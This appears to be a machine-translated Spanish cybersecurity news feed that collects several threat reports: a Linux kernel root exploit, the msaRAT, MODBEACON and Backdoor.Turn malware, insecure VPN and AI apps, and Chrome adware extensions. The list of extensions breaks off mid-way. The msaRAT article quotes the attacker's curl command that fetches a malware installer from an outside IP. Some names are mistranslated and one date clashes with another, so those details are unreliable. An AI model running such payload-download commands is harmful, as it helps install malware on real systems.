Un investigador dice que la IA ayudó a desarrollar la carrera de control del tráfico de Linux hacia el exploit de raíz – CYBERDEFENSA.MX

STAR Labs ha publicado un exploit del kernel de Linux que convierte a un usuario local normal en root en la compilación CentOS Stream 9 a la que apunta. El defecto, rastreado como CVE-2026-53264 (Puntuación CVSS: 7,8), es una carrera de uso después de liberación en el subsistema de control de tráfico de red del kernel.

El investigador Lee Jia Jie dijo que la inteligencia artificial (IA) lo ayudó a encontrar el error y acelerar el desarrollo del exploit. Se trata de una escalada de privilegios local, no de una ejecución remota de código, por lo que un atacante necesita un punto de apoyo en la máquina antes de que se aplique algo de esto.

El exploit demostrado también requiere espacios de nombres de usuario sin privilegios, el CONFIG_NET_ACT_GACT y CONFIG_NET_CLS_FLOWER opciones del kernel y una cadena de programación orientada al retorno (ROP) específica del kernel que contiene compensaciones codificadas. Esas condiciones reducen la exposición inmediata, pero el código fuente de explotación total ahora es público.

La solución ascendente llegó el 1 de junio de 2026 y desde entonces ha sido compatible con varias ramas estables del kernel. El Registro CNA de Linux enumera rangos vulnerables que comienzan con Linux 4.14. Las versiones corregidas son 5.10.259, 5.15.210, 6.1.176, 6.6.143, 6.12.94, 6.18.36 y 7.0.13, y la corrección principal ingresa a 7.1-rc7.

Los usuarios de Linux deben instalar un kernel de distribución que contenga la solución en lugar de depender únicamente del número de versión ascendente. The Hacker News no encontró ninguna entrada para la falla en Catálogo de vulnerabilidades explotadas conocidas de CISA y no hay informe oficial de explotación en la naturaleza al 28 de julio de 2026.

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Lee dijo en un redacción técnica que la IA ayudó con el descubrimiento de vulnerabilidades, la producción de una prueba de concepto de Kernel Address Sanitizer (KASAN) y la optimización de la ventana de carrera. STAR Labs también lanzó el Código de explotación dirigido a CentOS.

Sin el modelo, indicaciones, servicio o registro de interacción, la divulgación es difícil de utilizar como base. punto de referencia de la capacidad de la IA o separar la contribución del sistema de la dirección y el juicio de Lee.

Hacker News solicitó a STAR Labs detalles sobre el sistema de inteligencia artificial, el entorno de prueba y el cronograma de divulgación y actualizará esta historia con cualquier respuesta.

«La IA todavía tiene muchos puntos ciegos y fallos en la capacidad de razonamiento», dijo Lee, añadiendo que el juicio humano siguió siendo necesario durante todo el trabajo.

La vulnerabilidad se encuentra en el manejo del ciclo de vida de las acciones de control de tráfico de Linux. Concurrente RTM_NEWTFILTER y RTM_DELTFILTER Las operaciones pueden dejar un hilo leyendo un objeto de acción después de que otro hilo lo haya liberado. El parche ascendente soluciona la carrera posponiendo la operación gratuita hasta que los lectores de lectura, copia y actualización (RCU) existentes hayan finalizado.

El exploit crea sus propios espacios de nombres de usuario y de red, dándole un espacio de nombres local. CAP_NET_ADMIN sin requerir derechos de administrador de host. Llega al camino vulnerable a través de un clsact qdisco y flower filtrar. Las operaciones Timerfd y epoll amplían la ventana de carrera, mientras que las asignaciones clave de carga útil recuperan el objeto liberado. La cadena ROP luego sobrescribe core_pattern.

El exploit coloca una copia de sí mismo en un memfd y bloquea deliberadamente un proceso hijo, lo que hace que Linux ejecute el binario respaldado por memfd como controlador raíz de volcado de núcleo en el espacio de nombres inicial.

Lee informó que el exploit tuvo éxito en sus 10 ejecuciones de prueba, tardando entre nueve y 111 segundos en una computadora portátil con CentOS Stream 9. Esas cifras de confiabilidad no se han reproducido de forma independiente. Las compensaciones fijas del dispositivo del exploit también significan que se debe reconstruir para otros paquetes del kernel y es posible que no se pueda adaptar a algunas compilaciones más nuevas.

El riesgo práctico es menor de lo que podría sugerir una etiqueta genérica de «explotación de raíz de Linux», pero el código de explotación público plantea la urgencia de que los sistemas compatibles permanezcan sin parches.

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Los créditos del parche ascendente Kyle Zeng, que usa el mango KyleBotcomo el reportero. Lee dijo que encontró la falla de forma independiente y solo más tarde se enteró de que Zeng la había informado poco antes de la competencia TyphoonPwn 2026. Lee publicó el análisis técnico posterior y el código de explotación.

El estado de distribución se mantuvo desigual al 28 de julio: Debian enumera los núcleos fijos para las versiones estables compatibles, ubuntu todavía marca múltiples paquetes de kernel mantenidos como vulnerables, y SUSE enumera el problema como pendiente en varios productos. SUSE asigna por separado a la falla una puntuación de 5,5, utilizando un vector que registra sólo el impacto en la disponibilidad, por debajo de la evaluación de 7,8 de Linux CNA.

Esos rastreadores muestran el estado del paquete, no cuántos sistemas implementados tienen los espacios de nombres requeridos, las opciones del kernel y una compilación del kernel compatible. Las fuentes públicas revisadas no establecen la población en riesgo inmediato.

Lee escribió que el proceso con mucha IA hizo que la búsqueda de errores «pareciera más como si estuviera haciendo un análisis de n días incluso en errores nuevos».

Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

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El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

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Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

El nuevo MODBEACON RAT utiliza transmisión gRPC para tráfico C2 cifrado – CYBERDEFENSA.MX

El grupo de cibercrimen vinculado a China conocido como Zorro plateado se ha atribuido a un nuevo troyano de acceso remoto (RAR) basado en Rust llamado MODALIZADOR.

La empresa china de ciberseguridad QiAnXin dijo que si bien el grupo de amenazas puede parecer una operación poco sofisticada y de alta actividad que propaga malware a través de instaladores falsificados utilizando técnicas de envenenamiento de SEO, desmiente su verdadera estructura organizacional, que compromete a múltiples distribuidores.

«Estos distribuidores llevan a cabo actividades en toda Asia utilizando instaladores de software falsificados distribuidos a través de campañas de SEO, aprovechando variantes de las familias de troyanos Gh0st RAT y WinOS (ValleyRAT),», QiAnXin dicho.

Una de esas campañas observada a mediados de junio de 2026 involucró a un distribuidor que entregaba un RAT modular previamente indocumentado dirigido a la tecnología, la educación y las empresas estatales del país. La infraestructura de comando y control (C2) solicitada por MODBEACON está alojada en Amazon y la red de entrega de contenido (CDN) de Cloudflare.

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Se considera que el distribuidor es un actor de amenazas híbrido, que actúa como una combinación de «traficante de armas cibercriminal» y «corredor de tráfico». Una rama de sus operaciones implica expandir su huella de infección en toda Asia a través de operaciones diarias de SEO para negocios fraudulentos, mientras que la otra se centra en propagar troyanos avanzados, alquilar acceso de alto valor a clientes intermedios o establecer esquemas «criminal contra criminal» dirigidos al sector del juego camboyano.

La campaña recién descubierta combina ingeniería social, malware personalizado y herramientas posteriores al compromiso para establecer un acceso a largo plazo y al mismo tiempo minimizar la detección en hosts infectados. El malware residente en la memoria funciona como un implante remoto capaz de recuperar módulos adicionales, ejecutar comandos del operador y mantener comunicaciones cifradas con la infraestructura del atacante.

«El troyano es un marco C2 profesional y privado: el cargador y la baliza están separados, la configuración es inyectable, la baliza emplea una arquitectura basada en complementos (complementos nativos v3 con entrada/init/fini RVA) y utiliza transmisión de túnel gRPC para la comunicación», explicó QiAnXin. «La calidad general de la ingeniería es alta. Su principal punto destacado es la reutilización de la capa de transporte de un marco proxy anticensura de código abierto (Xray/V2Ray) como su canal C2».

Al igual que campañas anteriores atribuidas al ecosistema de intrusión de Silver Fox, la cadena de ataque utiliza dominios falsificados que anuncian instaladores falsos de software nacional popular como señuelo para engañar a los usuarios desprevenidos para que descarguen archivos ZIP maliciosos responsables de implementar el malware.

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Las capacidades principales de MODBEACON incluyen:

  • Tomando huellas dactilares del anfitrión
  • Cargando complementos en la memoria
  • Enviar mensajes de latidos del corazón
  • Informar los resultados de la ejecución del comando.
  • Configurar la persistencia mediante tareas programadas

«Esta capacidad se puede utilizar para la posterior expansión bajo demanda del robo de información, movimiento lateral, reenvío de proxy u otras cargas útiles», dijo QiAnXin.

La divulgación se produce en medio de una ampliación gradual del arsenal de Silver Fox, que ha implementado familias de malware rastreadas como Atlas RAT, ABCDoor, RomulusLoader y SilentRunLoader, lo que indica que el actor de amenazas está refinando activamente su oficio.

Un estudio de 281 aplicaciones VPN gratuitas para Android encuentra fugas de tráfico, datos no cifrados y seguimiento – CYBERDEFENSA.MX

Los investigadores ejecutaron 281 de las aplicaciones VPN gratuitas más populares en Google Play Store a través de un nuevo sistema de prueba y descubrieron que muchas fallan en lo básico para instalar una VPN, es decir, mantener su tráfico privado y seguro.

Las aplicaciones marcadas con al menos un problema se han instalado más de 2.400 millones de veces.

Los problemas son básicos, no sofisticados. 29 aplicaciones permiten que el tráfico de los usuarios se filtre fuera del túnel cifrado, incluidas las búsquedas de DNS que revelan qué sitios web visita. 61 aplicaciones envían algunos datos en texto plano que cualquiera que observe el tráfico en esa red puede leer.

Cinco de ellos envían el archivo de configuración de la aplicación en claro, lo que permite a un atacante en la red redirigir la conexión a un servidor que controlan.

El sistema, llamado MVPNalyzerfue presentado en la conferencia de seguridad NDSS en febrero de 2026 por investigadores de la Universidad de Michigan, la Universidad de Nuevo México y el IIT Delhi.

Es una contraparte móvil del estudio VPNalyzer anterior del mismo laboratorio sobre software VPN de escritorio, y los investigadores lo describen como el primer marco creado para auditar sistemática y repetidamente aplicaciones VPN de Android.

Una VPN envuelve su tráfico en un túnel cifrado para que su proveedor de Internet, o un espía en la red, no pueda ver lo que está haciendo. La desventaja es que la aplicación VPN ahora lo ve todo. No estás eliminando la necesidad de confiar en alguien. Estás trasladando esa confianza de tu proveedor de Internet a quien creó la aplicación.

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El estudio pregunta si estas aplicaciones se lo merecen. Para muchos, no es así.

El defecto más grave: el secuestro de túneles

El peor hallazgo involucra a esas cinco aplicaciones que descargan su archivo de configuración sin cifrado. Ese archivo le dice a la aplicación a qué servidor conectarse. Si viaja en texto plano, un atacante en la misma red, digamos un operador de Wi-Fi público, puede reescribirlo en tránsito y apuntar la aplicación a un servidor que controla.

Arquitectura del marco MVPNalyzer

El usuario se conecta, ve la pantalla habitual «conectado» y dirige todo a través del atacante. Los investigadores crearon este ataque y confirmaron que funcionó en teléfonos bajo su control.

Señalaron el tema como una prioridad para los cinco proveedores. Dos respondieron y ambos prometieron mover el archivo a HTTPS. Uno dijo que enviaría los archivos de configuración. «Usar HTTPS de forma segura con la validación de certificado adecuada». Los otros tres no lo habían reconocido.

Filtraciones y aplicaciones que no ocultan nada

De los 29, 24 filtraron tráfico DNS, exponiendo los sitios visitados por los usuarios a la red local; esas aplicaciones por sí solas representan alrededor de 360 ​​millones de instalaciones. Seis filtraron todo el tráfico de navegación fuera del túnel y cuatro ejecutaron «túneles» sin cifrado alguno, y algunas aplicaciones fallaron en más de una forma.

Por otra parte, 169 aplicaciones no intentaron disfrazar su tráfico como algo más que una VPN, por lo que un operador de red o un censor gubernamental puede detectarlas y bloquearlas con herramientas básicas. Casi dos tercios de esas aplicaciones anuncian que superan el bloqueo o el desbloqueo de contenido restringido. Hacen la promesa y no hacen nada para cumplirla.

Para alguien en un país donde usar una VPN es en sí mismo riesgoso, ser fácil de identificar como usuario de VPN es lo opuesto a lo que se registró.

Seguimiento, desde las aplicaciones creadas para detenerlo

La gente suele instalar VPN para evitar ser rastreados. Muchas de estas aplicaciones realizan un seguimiento de todos modos. 76 envió el ID de publicidad del dispositivo, un código único que los anunciantes utilizan para seguir a una persona de una aplicación a otra.

El estudio encontró que más del 80% de las aplicaciones, 246 de ellas, contactaron con servidores conocidos de publicidad y seguimiento. Muchos también enviaron detalles como el modelo de teléfono, la versión del sistema operativo y el tamaño de la pantalla.

Por sí solos, parecen inofensivos, pero combinados forman una «huella digital» que puede identificar un dispositivo. Una aplicación incluso envió las coordenadas GPS exactas del teléfono.

Configuraciones débiles bajo el capó

Los investigadores también separaron los archivos de configuración de OpenVPN incluidos con 108 de las aplicaciones, una verificación separada de las pruebas de tráfico en vivo anteriores. Solo uno siguió todas las mejores prácticas de seguridad medidas por el estudio.

Alrededor del 89% confió en un único método de autenticación, ya sea una contraseña o un certificado, en lugar de combinar los dos. Casi uno de cada cinco utilizó cifrado débil u obsoleto, incluido el antiguo cifrado Blowfish y triple DES. Algunos configuran el cifrado de datos del túnel en ninguno, lo que desactiva el cifrado por completo. Ambos cifrados antiguos conllevan debilidades conocidas desde hace mucho tiempo (CVE-2016-6329 y CVE-2016-2183) que permiten a un atacante recuperar datos de conexiones de larga duración.

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La mayoría de estos problemas tienen la misma raíz: las aplicaciones apenas reciben mantenimiento y las comprobaciones automáticas de Play Store las dejan pasar. Muchos se encuentran entre los primeros resultados de búsqueda, donde las etiquetas de seguridad de Google y su insignia «Verificada» para aplicaciones VPN pretenden indicar confianza. El estudio dice que esas etiquetas funcionan más como señales de marketing que como una garantía de seguridad real.

Esto no es algo único

Otras investigaciones recientes apuntan en el mismo sentido. En agosto de 2025, investigadores del Citizen Lab de la Universidad de Toronto y de la Universidad Estatal de Arizona encontró que varias aplicaciones populares de VPN para Android, con más de 700 millones de descargas combinadas, estaban vinculadas en secreto, compartían contraseñas codificadas y recopilaban datos de ubicación silenciosamente.

En octubre de 2025, la empresa de seguridad móvil Zimperium reportado que tres de las aproximadamente 800 aplicaciones VPN gratuitas que probó todavía incluían una versión de la biblioteca OpenSSL vulnerable a Heartbleed, un error muy conocido corregido en 2014. Muchas también pidieron permisos telefónicos mucho más allá de los que necesita una VPN.

Los tres estudios cuentan una historia: las aplicaciones VPN gratuitas siguen combinando un fuerte argumento de privacidad con una ingeniería débil, y siguen alcanzando millones de instalaciones antes de que alguien se dé cuenta.

Qué pueden hacer los usuarios

Los fallos más graves aquí, la búsqueda de configuración de texto sin cifrar y la configuración débil del túnel, son invisibles desde el lado del usuario. No puedes detectarlos mirando la aplicación, que es todo el problema. Entonces, la verdadera defensa no es qué protocolo anuncia la aplicación. Es quién está detrás.

Favorecer a los proveedores que publican una auditoría de seguridad independiente reciente. Tenga cuidado con las aplicaciones gratuitas que lo entierran en anuncios. Y trate las afirmaciones «verificadas» o «sin registros» como un punto de partida, no como una prueba.

Los investigadores enumeran todas las aplicaciones marcadas en el apéndice del artículo, para que puedas comprobar si la de tu teléfono está entre ellas.

El equipo planea hacer público MVPNalyzer para que las tiendas de aplicaciones y los reguladores puedan realizar estas comprobaciones ellos mismos. Teniendo en cuenta esta evidencia, tendrán que hacerlo.

Hacker News ha preguntado a Google si está revisando o eliminando las aplicaciones marcadas, y cuál es su respuesta al hallazgo del estudio de que las etiquetas de seguridad de Play Store y la insignia «Verificada» funcionan más como marketing que como garantías de seguridad. También le hemos pedido al equipo de investigación de MVPNalyzer que identifique las cinco aplicaciones vulnerables al secuestro de túneles y que confirme si los proveedores notificados han implementado correcciones desde entonces. Esta historia se actualizará con cualquier respuesta.

282 aplicaciones de IA de iOS pierden claves API y abren acceso a proxy de IA en un estudio de tráfico de red – CYBERDEFENSA.MX

Los investigadores probaron 444 aplicaciones de chatbot de IA para iPhone y descubrieron que 282 de ellas, casi dos tercios, expusieron acceso pago a IA a través del tráfico de su red.

En muchos casos, la ruta de entrada era visible simplemente observando lo que enviaba la aplicación: una clave API de texto sin formato, un token reutilizable o un servidor backend que aceptaba solicitudes sin ninguna clave.

Quien lo obtenga puede enviar solicitudes de modelo a la cuenta del desarrollador, y el desarrollador paga la factura. Tres meses después de que los investigadores advirtieran a los desarrolladores, sólo el 28% lo había solucionado.

El trabajo, de investigadores de la Universidad Wake Forest, es el primer estudio en profundidad del problema en iOS. Es sorprendente en parte por el poco esfuerzo que requirió el espionaje. El equipo utilizó una herramienta que construyeron, LLMKeyLensque observa el tráfico de una aplicación y extrae las credenciales a medida que pasan. Sin jailbreak, sin abrir la aplicación.

La clave es el secreto que permite a la aplicación llamar a un servicio como OpenAI o Google Gemini. Insértelo en la aplicación y quedará expuesto con cada solicitud que realice la aplicación.

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Los 282 se clasificaron en uno de tres grupos:

  • Teclas de texto sin formato (54 aplicaciones): la clave se envía de forma abierta, legible desde una única solicitud capturada.
  • No se necesita clave (92 aplicaciones): la aplicación enruta las solicitudes a través de un servidor que responde a cualquiera, sin comprobar quién pregunta. Un relevo abierto a una cuenta AI paga.
  • Tokens reproducibles (136 aplicaciones, las más comunes): la aplicación entrega tokens de acceso temporales en lugar de la clave sin formato, el enfoque que se supone es más seguro, pero los tokens se filtran en el mismo tráfico y, por lo general, seguían siendo válidos cuando se capturaban. Algunos no fueron en absoluto temporales, como lo muestran los casos siguientes.

Para 28 de las 54 aplicaciones de texto sin formato, la misma solicitud también expuso el mensaje oculto del sistema de la aplicación, las instrucciones detrás de escena que definen lo que hace el asistente y cómo funciona el producto. Una captura, dos premios.

Las filtraciones abarcan al menos diez proveedores de IA, siendo OpenAI el más común, y abarcan 13 categorías de aplicaciones. Las aplicaciones de productividad fueron el grupo más grande; Las aplicaciones de salud y fitness tuvieron la tasa de fuga más alta. Las aplicaciones médicas y financieras, en particular, no filtraron nada. La mayoría de las aplicaciones afectadas eran pequeñas, pero no todas: una tenía más de dos millones de valoraciones de usuarios.

Esto no es dinero teórico. Las claves de IA robadas alimentan una práctica que la industria llama LLMjacking, donde los atacantes ejecutan las claves de otras personas para obtener acceso gratuito al modelo. Sysdig calculó el peor de los casos en el que las credenciales robadas podrían generar más de 46.000 dólares al día en cargos de inteligencia artificial.

Los investigadores notificaron a los 282 desarrolladores y esperaron tres meses. Sólo el 28% lo había solucionado claramente.

Otro 23% todavía estaba muy abierto; el acceso filtrado estaba funcionando. El resto se desconectó, se volvió inaccesible o devolvió errores. Las aplicaciones de tokens eran a menudo las peores: una aplicación popular, con más de 100.000 valoraciones, fijó su token de acceso para que expirara en el año 2125, un pase de cien años.

El token de una hora de otra aplicación todavía funcionaba 128 días después de haber expirado.

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La solución es un viejo consejo que pocos siguieron: no introduzcas la clave en la aplicación. Enrute las llamadas de IA a través de su propio servidor, haga que ese servidor verifique quién llama y revoque cualquier clave que ya se haya filtrado.

Los investigadores también quieren que los proveedores de inteligencia artificial etiqueten las claves del lado del cliente como inseguras en su documentación y marquen las claves que de repente son utilizadas por miles de dispositivos, y quieren que Apple revise esto durante la revisión de la App Store.

El patrón me resulta familiar. Un estudio de 2025, LM-exploradorencontró el mismo cableado de IA inseguro en aplicaciones de Android y automáticamente accedió a 120 de ellas. Una auditoría más grande, Aplicaciones con fugasextrajeron secretos de miles de aplicaciones de Android e iOS y descubrieron que los desarrolladores habitualmente no revocan las claves incluso después de eliminarlas, dejando las antiguas activas.

Otros han investigado el ecosistema de aplicaciones LLM más amplio para agujeros similares. La fiebre de la IA no ha cambiado el hábito. Ha aumentado la factura, porque ahora se carga una clave filtrada con el token.

Una advertencia: la cifra de dos tercios es un piso. Muchas aplicaciones bloquearon la interceptación por completo y el estudio cubre solo la App Store de EE. UU. a finales de 2025, por lo que la tasa real probablemente sea mayor.

Los piratas informáticos de DragonForce abusan de los relés de Microsoft Teams para ocultar la puerta trasera. Gire el tráfico C2

Se ha observado que los actores de amenazas asociados con el ransomware DragonForce utilizan un troyano de acceso remoto (RAT) personalizado basado en Go llamado Puerta trasera.Girar para ocultar el tráfico de comando y control (C2) dentro de la infraestructura de retransmisión de Microsoft Teams.

Según las conclusiones de Symantec, propiedad de Broadcom, y Carbon Black, la puerta trasera se utilizó contra una importante empresa de servicios estadounidense. El nombre de la empresa no fue revelado.

«Backdoor.Turn obtiene un token de visitante anónimo de Teams de los servicios de identidad respaldados por Skype de Microsoft, utiliza un relé TURN legítimo de Microsoft para configurar la conexión y luego ejecuta una sesión QUIC en el servidor de comando y control (C2) real del atacante», explicó Threat Hunter Team. dicho en un informe compartido con The Hacker News.

«Para los defensores de la red, el único tráfico que podían ver eran las conexiones salientes a servidores legítimos de Microsoft Teams. Los atacantes estuvieron en la red de la víctima entre uno y dos meses».

El desarrollo marca el primer caso documentado públicamente de actores de amenazas que abusan del Traversal Usando Relays alrededor de NAT (DOBLAR) infraestructura de retransmisión.

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Se sospecha que el actor de amenazas obtuvo acceso inicial explotando una vulnerabilidad en un servidor SQL o MS-SQL, aunque se desconoce la naturaleza exacta de la falla. También es posible que el acceso se haya adquirido a través de un intermediario de acceso inicial (IAB).

La actividad maliciosa inicial en la red de la víctima comenzó en diciembre de 2025, cuando los atacantes ejecutaron un comando de PowerShell para colocar un archivo ZIP con el pretexto de una revisión de soporte técnico. El archivo ZIP responsable de lanzar un ataque de carga lateral de DLL, que luego ejecuta una DLL no autorizada para realizar reconocimiento, configurar la persistencia y silenciar el software de seguridad mediante un controlador de Huawei («HWAuidoOs2Ec.sys»).

Esto se logra mediante una técnica de ataque llamada técnica de traer su propio controlador vulnerable (BYOVD). El controlador se ha utilizado en una campaña de publicidad maliciosa a gran escala dirigida a personas residentes en EE. UU. que buscan documentos relacionados con impuestos, aunque se dice que esto tuvo lugar después del incidente del ransomware.

Algunos de los otros controladores utilizados para este propósito se enumeran a continuación:

Lo notable del ataque es la ejecución de Backdoor.Turn inyectándolo en el proceso legítimo «DbgView64.exe» después de que se haya implementado el ransomware DragonForce. Esto sugiere un intento de mantener el acceso continuo al host comprometido para ataques posteriores o revenderlo con fines de lucro.

El mecanismo subyacente basado en TURN de Backdoor.Turn se basa en una técnica de comunicación C2 sigilosa llamada Ghost Calls que fue documentada por Praetorian en agosto de 2024. La puerta trasera admite una amplia gama de capacidades, incluida la ejecución de comandos, la creación de procesos, el escaneo de redes, la búsqueda de LDAP y Active Directory, el movimiento lateral basado en credenciales y el robo de credenciales del navegador.

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«La puerta trasera solicita un token de visitante del backend de Microsoft Teams/Skype, usa ese token para interactuar con la infraestructura asociada a Teams (retransmisión TURN) y luego establece la conectividad saliente», explicaron Symantec y Carbon Black.

«Obtiene un token de autenticación de visitante (anónimo) de Teams respaldado por los servicios de identidad de Skype. Luego utiliza un servidor legítimo de Microsoft como servidor de retransmisión TURN durante la configuración de la conexión. Después de la configuración asistida por retransmisión, el malware establece una sesión QUIC directa al servidor C&C, lo cual es malicioso».

Los hallazgos pintan una imagen de un grupo de hackers que se apoya en sofisticados métodos cibernéticos para llevar a cabo ataques dirigidos de alto impacto, mientras deja a las víctimas en la ignorancia sobre la filtración encubierta de datos. Esto es particularmente significativo ya que Hackledorb, el actor de amenazas detrás de DragonForce, ha pasado de un modelo convencional de ransomware como servicio (RaaS) a una estructura de cartel formalizada y altamente organizada.

«El cronograma operativo revela un patrón de desarrollo continuo de capacidades, con la adopción de técnicas altamente avanzadas convirtiéndose en un sello distintivo de su actividad posterior a 2025», dijo la compañía. «La implementación de Backdoor.Turn, combinada con su evasión BYOVD multivectorial, los marca como uno de los grupos de ransomware más capaces y persistentes que operan en la actualidad».

152 extensiones de fondos de pantalla de Chrome con 105.000 instalaciones vinculadas a adware y tráfico falso – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto una red de 152 extensiones de Google Chrome que actúan como complementos de fondos de pantalla animados en nuevas pestañas para distribuir una familia de programas potencialmente no deseados (PUP).

El clúster abarca 38 cuentas de editor independientes de Chrome Web Store y tres backends de marca: tabplugins[.]com, yowgames[.]com y chromewallpaper[.]com. Se han instalado colectivamente 105.000 veces. Los nombres de algunas de las extensiones se enumeran a continuación:

  • Neymar – Fondo de pantalla animado de fútbol (laafpeklcnlfmjaofbndehkjpnccbhek)
  • Satoru Gojo Manga Fondo de pantalla en vivo (mnpacdigbockiilmilhbedciadenfdnb)
  • Porsche 911 – Fondo de pantalla en vivo de autos deportivos (trabajador de servicio muerto) (iedplnnolciaofkakkjmcojnmklpfikg)
  • Satoru Gojo Live Wallpaper (ipiabbhciknabpoihaakdahgghllelpj)
  • Hello Kitty Wallpapers HD Nueva pestaña (hijpkhinofkdobfagfbobnnoihmopgkk)
  • Pusheen Cat Wallpapers HD Nueva pestaña (famchdjojcnakamhkddkpaglnkonkfnl)
  • Peach & Goma Wallpapers HD Nueva pestaña (nomekamioepglinefhenifnbegjhfiai)
  • Spider-Man Miles Morales Swing Live Wallpaper (jjngbcodoldjmpjpfbhfelaljbdlkekh)
  • BMW M3 Neon Night Drive Fondo de pantalla en vivo (gfikbhpfjldbbikolkcimfgmejhdkjbe)
  • Fondos de pantalla de BMW (dbiamdajndfmpmmeklcbbnekhkdcakhf)
  • Death Note Anime Wallpapers HD Nueva pestaña (pkdloppfapenphihgbldhjjlfhgnkmcg)
  • Sonic Frontiers Starfall Live Wallpaper (imkepemaflommlonnppjobgdpokbfmoj)
  • Tanjiro – Demon Slayer Live Wallpaper (ibglidkppckhminbhbgcajomjplomcka)
  • Fondo de pantalla de nueva pestaña de Neymar (gkbfokaephnaajnmpgiieidpfieamggb)
